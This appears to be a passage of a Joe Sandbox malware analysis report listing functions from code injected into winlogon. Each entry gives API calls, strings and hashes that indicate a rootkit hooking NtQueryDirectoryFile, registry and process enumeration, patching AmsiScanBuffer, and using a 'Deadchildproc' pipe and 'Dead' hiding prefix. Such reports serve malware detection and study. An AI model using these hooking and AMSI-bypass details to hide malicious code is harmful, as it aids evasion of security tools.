advapi32.dll, xrefs: 00000225DC641E1F, 00000225DC641E40
AmsiScanBuffer, xrefs: 00000225DC641EDA

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 4175298099-4225371247
Opcode ID: 4705abceb593070c5488a5deecb4e4079e35b8c621484f12281ef43e977e1bc4
Instruction ID: 7335be69b1a53d8260e79aad09e49a57f4a9151297e2b9092e57277930a4543d
Opcode Fuzzy Hash: 4705abceb593070c5488a5deecb4e4079e35b8c621484f12281ef43e977e1bc4
Instruction Fuzzy Hash: 794185AC128D7AB0FA05DFDDE9597E43765A704B47FB1C453A41A031B69E38C28EC361

Function 00000225DC6412BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC641319
GetProcessHeap.KERNEL32 ref: 00000225DC641327
HeapAlloc.KERNEL32 ref: 00000225DC641338
RegEnumValueW.ADVAPI32 ref: 00000225DC641397

Part of subcall function 00000225DC64152C: StrCmpIW.SHLWAPI ref: 00000225DC64155D

GetProcessHeap.KERNEL32 ref: 00000225DC6413DF
HeapAlloc.KERNEL32 ref: 00000225DC6413ED
GetProcessHeap.KERNEL32 ref: 00000225DC64140A
HeapFree.KERNEL32 ref: 00000225DC641418
lstrlenW.KERNEL32 ref: 00000225DC641421
GetProcessHeap.KERNEL32 ref: 00000225DC64142F
HeapAlloc.KERNEL32 ref: 00000225DC64143D
StrCpyW.SHLWAPI ref: 00000225DC64145F
GetProcessHeap.KERNEL32 ref: 00000225DC641476
HeapFree.KERNEL32 ref: 00000225DC641484

Strings

d, xrefs: 00000225DC64135A

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: d31796d830b779bd35019739cbc6c4046c19c366aaa5f759b56b231691e58326
Instruction ID: 4323ca25779d84a57c3c02923ca7ebc8007b87c3c86119a3830bb68bec69c950
Opcode Fuzzy Hash: d31796d830b779bd35019739cbc6c4046c19c366aaa5f759b56b231691e58326
Instruction Fuzzy Hash: 81514D76214F9496E724CFBAE44C35A77A1F788F9AF148524DA4A07758DF3CC049CB00

Function 00000225DC616D30 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000225DC616D58
__scrt_acquire_startup_lock.LIBCMT ref: 00000225DC616DAA
_RTC_Initialize.LIBCMT ref: 00000225DC616DD8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000225DC616DFE
__scrt_release_startup_lock.LIBCMT ref: 00000225DC616E29

Strings

bad array new length, xrefs: 00000225DC616E5B

Memory Dump Source

Source File: 0000000B.00000003.1759673624.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_225dc610000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: bad array new length
API String ID: 190073905-1242854226
Opcode ID: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction ID: 9a4c01e7eb6cd6e3cc95c39396cf0bee9793080e8f643e4f7ddbe8a1a9e0a88d
Opcode Fuzzy Hash: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction Fuzzy Hash: E381442D616E61BAFF10AFEE944D35963E1EB61783F54C115EA49437A6DF38C842CB00

Function 00000225DC642FA0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 00000225DC642FF5
GetProcessHeap.KERNEL32 ref: 00000225DC64300A
HeapAlloc.KERNEL32 ref: 00000225DC643018
PdhGetCounterInfoW.PDH ref: 00000225DC64302E
StrCmpW.SHLWAPI ref: 00000225DC643043

Part of subcall function 00000225DC643558: StrCmpNW.SHLWAPI ref: 00000225DC64357A
Part of subcall function 00000225DC643558: StrStrW.SHLWAPI ref: 00000225DC643594
Part of subcall function 00000225DC643558: StrToIntW.SHLWAPI ref: 00000225DC6435BB

GetProcessHeap.KERNEL32 ref: 00000225DC643080
HeapFree.KERNEL32 ref: 00000225DC64308E

Strings

\GPU Engine(*)\Running Time, xrefs: 00000225DC64303C

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 4320c3d255521c8809fbccc0c000ef70dc88065294953a5bba07585d713a8765
Instruction ID: 0912822af30d12dff6b279402dbf66905d85d22777380dab2996b8327d9d6299
Opcode Fuzzy Hash: 4320c3d255521c8809fbccc0c000ef70dc88065294953a5bba07585d713a8765
Instruction Fuzzy Hash: B831B926618E65A6F720DFAAE80C359B3A0FB88FD7F548635DE4A43624DF38C455C740

Function 00000225DC6430B0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 00000225DC64310E
GetProcessHeap.KERNEL32 ref: 00000225DC64311F
HeapAlloc.KERNEL32 ref: 00000225DC64312D
PdhGetCounterInfoW.PDH ref: 00000225DC643143
StrCmpW.SHLWAPI ref: 00000225DC643158

Part of subcall function 00000225DC643558: StrCmpNW.SHLWAPI ref: 00000225DC64357A
Part of subcall function 00000225DC643558: StrStrW.SHLWAPI ref: 00000225DC643594
Part of subcall function 00000225DC643558: StrToIntW.SHLWAPI ref: 00000225DC6435BB

GetProcessHeap.KERNEL32 ref: 00000225DC643185
HeapFree.KERNEL32 ref: 00000225DC643193

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 00000225DC643151

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: a2f2b6270209c0617fffbf8088b8af58c514d563d63196d61a77ac5b37470c57
Instruction ID: 1a7a96c60956b87603b2adbb43b019170631b1eac3662604c8114e2770feac5a
Opcode Fuzzy Hash: a2f2b6270209c0617fffbf8088b8af58c514d563d63196d61a77ac5b37470c57
Instruction Fuzzy Hash: 4D317EA9628F65E6E750DFAAA84C75A73A1FB84F86F148535DE4B43724DF38C405C700

Function 00000225DC642C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 238
librarystringloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000225DC642CB8
GetProcAddress.KERNEL32 ref: 00000225DC642CCD
StrCmpNIW.SHLWAPI ref: 00000225DC642D10
lstrlenW.KERNEL32 ref: 00000225DC642E39

Strings

\Device\Nsi, xrefs: 00000225DC642D03
NtQueryObject, xrefs: 00000225DC642CC3
ntdll.dll, xrefs: 00000225DC642CB1

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: AddressHandleModuleProclstrlen
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 3607816002-3850299575
Opcode ID: 280e74d68912d67f2de1be9a053b4f09130ab35bfe7264d0fa8680fff1539601
Instruction ID: 076814e57d21d2f3b3b410e77ef8730c28811e2173efb051d51587c31ad11a7d
Opcode Fuzzy Hash: 280e74d68912d67f2de1be9a053b4f09130ab35bfe7264d0fa8680fff1539601
Instruction Fuzzy Hash: 50A1D33A21CFA1A2EB5ACFD9D4087A977A5F744B86F648056DE4A53B98DF34CC81C340

Function 00000225DC64104C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC6410B1
RegEnumValueW.ADVAPI32 ref: 00000225DC641117
GetProcessHeap.KERNEL32 ref: 00000225DC64115C
HeapAlloc.KERNEL32 ref: 00000225DC64116A
GetProcessHeap.KERNEL32 ref: 00000225DC641187
HeapFree.KERNEL32 ref: 00000225DC641195

Strings

d, xrefs: 00000225DC6410D6

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: cdead5c203d895dcd3ca28035d3c1357740cab67237a15052ecca15c34582b89
Instruction ID: 10060b41cb260af303b6ab6ddc9c0c8c5baff40587f29c1b63fca46e6a133ab5
Opcode Fuzzy Hash: cdead5c203d895dcd3ca28035d3c1357740cab67237a15052ecca15c34582b89
Instruction Fuzzy Hash: 21418037218F90D6E760CFA6E44839E77A1F388B89F54C129DA8A47B58DF38C549CB00

Function 00000225DC642344 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000225DC642359
GetCurrentProcessId.KERNEL32 ref: 00000225DC642363
CreateFileW.KERNEL32 ref: 00000225DC642394
WriteFile.KERNEL32 ref: 00000225DC6423BC
ReadFile.KERNEL32 ref: 00000225DC6423DB
CloseHandle.KERNEL32 ref: 00000225DC6423E4

Strings

\\.\pipe\Deadchildproc, xrefs: 00000225DC642375

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\Deadchildproc
API String ID: 166002920-2259481039
Opcode ID: 1005d7d54db17bd1b4de57f7c8175984e9a9ac4fa96f888e605f87ef2211e3c7
Instruction ID: 92c08f6cc4004cb3f8b5e1b06263060720a831a650563b72dd941ce804ecb253
Opcode Fuzzy Hash: 1005d7d54db17bd1b4de57f7c8175984e9a9ac4fa96f888e605f87ef2211e3c7
Instruction Fuzzy Hash: 00114C3A628F5093E7108F69F44875A7761F389FD6F608325EA5A06AA8CF3CC548CB00

Function 00000225DC647930 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000225DC647958
__scrt_acquire_startup_lock.LIBCMT ref: 00000225DC6479AA
_RTC_Initialize.LIBCMT ref: 00000225DC6479D8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000225DC6479FE
__scrt_release_startup_lock.LIBCMT ref: 00000225DC647A29

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction ID: e087d9ff1dacb74b7fa59f56ad70c442499e53cc6abe087a9cef841b2c5c687b
Opcode Fuzzy Hash: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction Fuzzy Hash: 1081052D61CF72B6FB50ABED944D3993290AB45B82F14C5A5EA07837D6DB38C946CB00

Function 00000225DC649930 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00000225DC649AEF,?,?,?,00000225DC6498B4,?,?,?,?,00000225DC6494A5), ref: 00000225DC6499B5
GetLastError.KERNEL32(?,?,?,00000225DC649AEF,?,?,?,00000225DC6498B4,?,?,?,?,00000225DC6494A5), ref: 00000225DC6499C3
LoadLibraryExW.KERNEL32(?,?,?,00000225DC649AEF,?,?,?,00000225DC6498B4,?,?,?,?,00000225DC6494A5), ref: 00000225DC6499ED
FreeLibrary.KERNEL32(?,?,?,00000225DC649AEF,?,?,?,00000225DC6498B4,?,?,?,?,00000225DC6494A5), ref: 00000225DC649A33
GetProcAddress.KERNEL32(?,?,?,00000225DC649AEF,?,?,?,00000225DC6498B4,?,?,?,?,00000225DC6494A5), ref: 00000225DC649A3F

Strings

api-ms-, xrefs: 00000225DC6499D5

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: af1dc5fe93b083055cd8c5ce044ece591eb4d9ced34ab9dbf74db6faff57ed03
Instruction ID: 24c979095fe9684387ee1b36362df099c9b39658b339583492920f750c380cbb
Opcode Fuzzy Hash: af1dc5fe93b083055cd8c5ce044ece591eb4d9ced34ab9dbf74db6faff57ed03
Instruction Fuzzy Hash: 3931E53935EF60B0EE25EB8AA4087997398F744F66F198524DD2E07798DF38C486C300

Function 00000225DC651CBC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000225DC651CED
GetLastError.KERNEL32 ref: 00000225DC651CF9
CloseHandle.KERNEL32 ref: 00000225DC651D11
CreateFileW.KERNEL32 ref: 00000225DC651D3C
WriteConsoleW.KERNEL32 ref: 00000225DC651D5B

Strings

CONOUT$, xrefs: 00000225DC651D1D

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ef389f1408fdc57218b3d17a10d8552332256b0ab613155e2b85b84f861b2611
Instruction ID: 5be9f3384d91eae15bd275903a3f580668a63c88c2dfc0f2a84967b766097804
Opcode Fuzzy Hash: ef389f1408fdc57218b3d17a10d8552332256b0ab613155e2b85b84f861b2611
Instruction Fuzzy Hash: 70118236320F6096E7509B9AE84871972A0F788FE6F648225EE5D87794DF78C844C740

Function 00000225DC6431C0 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC6431E3
HeapAlloc.KERNEL32 ref: 00000225DC6431F6
StrCmpNIW.SHLWAPI ref: 00000225DC643277
GetProcessHeap.KERNEL32 ref: 00000225DC6432DD
HeapFree.KERNEL32 ref: 00000225DC6432EB

Strings

Dead, xrefs: 00000225DC643270

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: Dead
API String ID: 756756679-1293411866
Opcode ID: 16deceebbb86a4ee17dd3b940be503c67630b0e40e640d710b58a96d17f55941
Instruction ID: b484f878597e3c1c40b0e3d2b5235eaf3506be0ad65e160053fa1907a731befa
Opcode Fuzzy Hash: 16deceebbb86a4ee17dd3b940be503c67630b0e40e640d710b58a96d17f55941
Instruction Fuzzy Hash: D331C02971DF65A2EA21DFEAA44836A73A0FB54F81F04C5309F8A07B54EF38C4A5C700

Function 00000225DC641934 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000225DC64195A
K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC641978
PathFindFileNameW.SHLWAPI ref: 00000225DC641987
lstrlenW.KERNEL32 ref: 00000225DC641993
StrCpyW.SHLWAPI ref: 00000225DC6419A6
CloseHandle.KERNEL32 ref: 00000225DC6419B4

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 16d258a9ac026dd37d62bcd9d6c3911ef3c0b7ca7915ee34a9afe05dd31b2e3e
Instruction ID: ba70d0768b3d9f561e044f18bf1f68bc2228eff5c97a5342605f90c4b2ec84b1
Opcode Fuzzy Hash: 16d258a9ac026dd37d62bcd9d6c3911ef3c0b7ca7915ee34a9afe05dd31b2e3e
Instruction Fuzzy Hash: F1016D39318F50A2EB10DB9AA85835963A1F788FC1F588534DE4E43758DF3CC585C740

Function 00000225DC643B00 Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000225DC6436A8), ref: 00000225DC643B1C
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC6436A8), ref: 00000225DC643B2A
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000225DC6436A8), ref: 00000225DC643B4C
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC6436A8), ref: 00000225DC643B6D
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000225DC6436A8), ref: 00000225DC643B8E
TerminateThread.KERNEL32(?,?,?,?,?,00000225DC6436A8), ref: 00000225DC643B9D

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 30c8d17d90bd3745ebdb1f35502c968551356a20b63a74c7033b0010c96071d1
Instruction ID: c92eea84b00c9f903c707425f6f7cf6861390332b5c52ba7c555f9c9e54a20de
Opcode Fuzzy Hash: 30c8d17d90bd3745ebdb1f35502c968551356a20b63a74c7033b0010c96071d1
Instruction Fuzzy Hash: 9F111729325F60A6EB259FA9E80C71A73A0AB58F46F248934C94D47764EF3DC548C700

Function 00000225DC6419D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000225DC6419F8
StrCmpNIW.SHLWAPI ref: 00000225DC641A12
lstrlenW.KERNEL32 ref: 00000225DC641A21
StrCpyW.SHLWAPI ref: 00000225DC641A36

Strings

\\?\, xrefs: 00000225DC641A06

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: a3d7cacd1ebb440911515f68b3794a8df69f5abb31c63e6f26f50beb6be48af3
Instruction ID: fbbe23e74c16a92c052ec9dd558afad9badb573f34104f68d1e6396a38e464ad
Opcode Fuzzy Hash: a3d7cacd1ebb440911515f68b3794a8df69f5abb31c63e6f26f50beb6be48af3
Instruction Fuzzy Hash: E9F04466318EA1A2E7208F69F89C3596760F744F89F94C030DA4946954DF7CC689C700

Function 00000225DC64330C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,?,00000225DC642585), ref: 00000225DC64332E
StrCpyW.SHLWAPI ref: 00000225DC64333E
StrCatW.SHLWAPI ref: 00000225DC64334A
PathCombineW.SHLWAPI(?,?,?,00000225DC642585), ref: 00000225DC643358

Strings

\\.\pipe\, xrefs: 00000225DC643324

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
